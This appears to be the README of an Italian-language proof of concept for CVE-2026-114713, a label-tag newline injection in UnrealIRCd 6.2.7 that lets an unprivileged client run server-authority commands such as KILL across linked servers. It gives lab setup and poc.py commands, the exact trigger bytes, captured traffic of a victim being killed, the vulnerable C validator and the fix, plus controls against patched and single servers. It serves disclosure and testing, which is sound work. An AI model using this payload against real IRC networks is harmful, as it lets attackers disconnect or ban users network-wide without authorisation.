
POC per CVE-2026-114713 - iniezione di label-tag IRCv3 in UnrealIRCd che eleva un messaggio di un client non privilegiato ad autorità di comando server-to-server su reti con server collegati. Inclusi i controlli per la versione vulnerabile 6.2.7 e quella corretta 6.2.7.1.
Il modulo labeled-response rimanda il message-tag IRCv3 "label" fornito dal client
nelle risposte senza effettuare escaping. Un valore label contenente un newline arriva come
l'escape standard dei tag IRCv3 \n, che il server de-escapa in un vero LF e
poi riscrive in chiaro. Quando la richiesta etichettata viene instradata verso un altro server
(un WHOIS <server> <nick> a due parametri fa esattamente questo), la risposta attraversa
il collegamento server-to-server portando quel LF in chiaro. Il server ricevente analizza una
riga in due, e la seconda riga - testo scelto dall'attaccante incollato alla risposta -
viene eseguita come comando inviato dal suo peer fidato. Su IRC un messaggio proveniente da un
server collegato salta i controlli dei privilegi applicati ai client, quindi un utente ordinario può
eseguire KILL, GLINE e altri comandi riservati a server/IRCOp sull'intera rete con un solo
messaggio del client. Corretto in 6.2.7.1 e nel bundle di hot-patch bundle-20261107; inserito in KEV
il 2026-11-13 e sfruttato attivamente.
bundle-20261107 su 6.0.0 - 6.2.7 (senza riavvio)CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N)Avvia il laboratorio (due server vulnerabili collegati su 127.0.0.1:6667/6668, la stessa topologia su 6.2.7.1, più un controllo con singolo server):
./setup/build-lab.sh # builds 6.2.7 + 6.2.7.1 from the official tarballs
./setup/boot-lab.sh # boots hub, leaf, single, fixed-hub, fixed-leaf
# or: docker compose up -d vuln-hub vuln-leaf vuln-single fixed-hub fixed-leaf
Attiva il trigger (attaccante e vittima sul leaf, target WHOIS sull'hub):
python3 poc.py --host 127.0.0.1 --port 6668 --hub-host 127.0.0.1 --hub-port 6667
--host/--port è il leaf a cui si connettono attaccante e vittima; --hub-host/--hub-port
è il server remoto che ospita il target WHOIS; --whois-server è il nome usato nel
WHOIS instradato. Controlli: lo stesso input contro la rete corretta
(--port 6678 --hub-port 6677) e contro un singolo server
(--host 127.0.0.1 --port 6687 --single --whois-server single.example.net).
Punta questo strumento solo verso server IRC di tua proprietà.
Esecuzione del trigger contro la rete vulnerabile collegata (cattura grezza:
evidence/01-vulnerable-linked-network-trigger.txt). Prima il pre-check - lo
stesso KILL inviato direttamente viene rifiutato, dimostrando che l'attaccante non ha diritti di operatore:
--- atk(attacker) raw traffic ---
KILL vic :direct-attempt
:leaf.example.net 481 atk :Permission Denied- You do not have the correct IRC operator privileges
Poi una riga etichettata (gli escape dei tag mostrati come inviati sul filo):
[*] trigger line (wire bytes): b'@label=p\\nKILL\\svic\\s:CVE-2026-114713 WHOIS hub.example.net wt\r\n'
Il socket della vittima - terminato da un comando attribuito al SERVER remoto:
--- vic(kill-victim) raw traffic ---
:hub.example.net KILL vic :CVE-2026-114713 :hub.example.net BATCH atk +jTdPUODfTulRwVfhMYRD01 labeled-response
ERROR :Closing Link: vic[localhost] (Killed by hub.example.net (CVE-2026-114713 :hub.example.net BATCH atk +jTdPUODfTulRwVfhMYRD01 labeled-response))
[*] verdict
[!] VULNERABLE: victim 'vic' was killed by a command that arrived
attributed to the remote SERVER - authority no IRC user has.
Il log del server sull'host della vittima identifica l'esecutore come un server
(evidence/04-server-log-detection.txt):
leaf.example.net kill.KILL_COMMAND info: Client killed: vic!vic@localhost [by: hub.example.net] (CVE-2026-114713 ...)
Controllo A - stesso input sulla rete collegata corretta 6.2.7.1
(evidence/02-control-fixed-6.2.7.1-linked-network.txt): il valore dell'etichetta
contiene un newline, quindi la correzione rifiuta l'intero tag; i valori numerici WHOIS
tornano come semplici righe senza etichetta e la vittima rimane online:
:hub.example.net 311 atk wt wt Clk-BF919CEF * wt
:hub.example.net 318 atk wt :End of /WHOIS list.
[=] NO server-authority execution observed (victim still online).
Controllo B - stesso input su un singolo server vulnerabile, senza collegamenti
(evidence/03-control-single-server-precondition.txt): l'etichetta non sottoposta a escape viene
solo riscritta nel socket dell'attaccante stesso; nulla viene eseguito:
[=] CONTROL HOLDS (single-server): no server-authority command executed.
Tre elementi si allineano in src/modules/labeled-response.c:
I valori dei tag vengono de-escaped al ricevimento (message_tag_unescape() in
src/modules/message-tags.c mappa gli escape IRCv3 \n \r \s \: a
LF/CR/spazio/punto e virgola reali). Il client non invia mai un newline grezzo; il
server ne genera uno da due byte stampabili.
In 6.2.7 il validatore dei tag accetta qualsiasi cosa invii un client con cap fino a 64 byte - non c'è alcun controllo sui caratteri del valore:
int labeled_response_mtag_is_ok(Client *client, const char *name, const char *value)
{
if (BadPtr(value))
return 0;
if (IsServer(client))
return 1;
...
if (strlen(value) <= 64)
return 1;
Il modulo formatta poi quel valore memorizzato in righe di risposta con chiamate
snprintf grezze - gen_start_batch() costruisce "@label=%s :%s BATCH +%s labeled-response", lr_post_command() builds "@label=%s%s%s" - aggirando
message_tag_escape(), che ogni altro percorso in uscita utilizza. Per una risposta
instradata a un client remoto con etichetta, lr_packet() scrive questo buffer sul
collegamento al server, quindi il LF all'interno dell'etichetta divide il flusso al peer
fidato: la prima riga è un innocuo segmento di tag @label=p breve, la seconda riga è
qualunque cosa abbia aggiunto l'attaccante, eseguita come comando dal server
collegato. Il WHOIS a due parametri è il vettore più pulito perché inoltra
al server di destinazione e garantisce una risposta con etichetta di ritorno attraverso il collegamento.
La correzione 6.2.7.1 è esattamente il controllo mancante (primo hunk del diff della release):
if (strpbrk(value, " ;\\\r\n"))
return 0;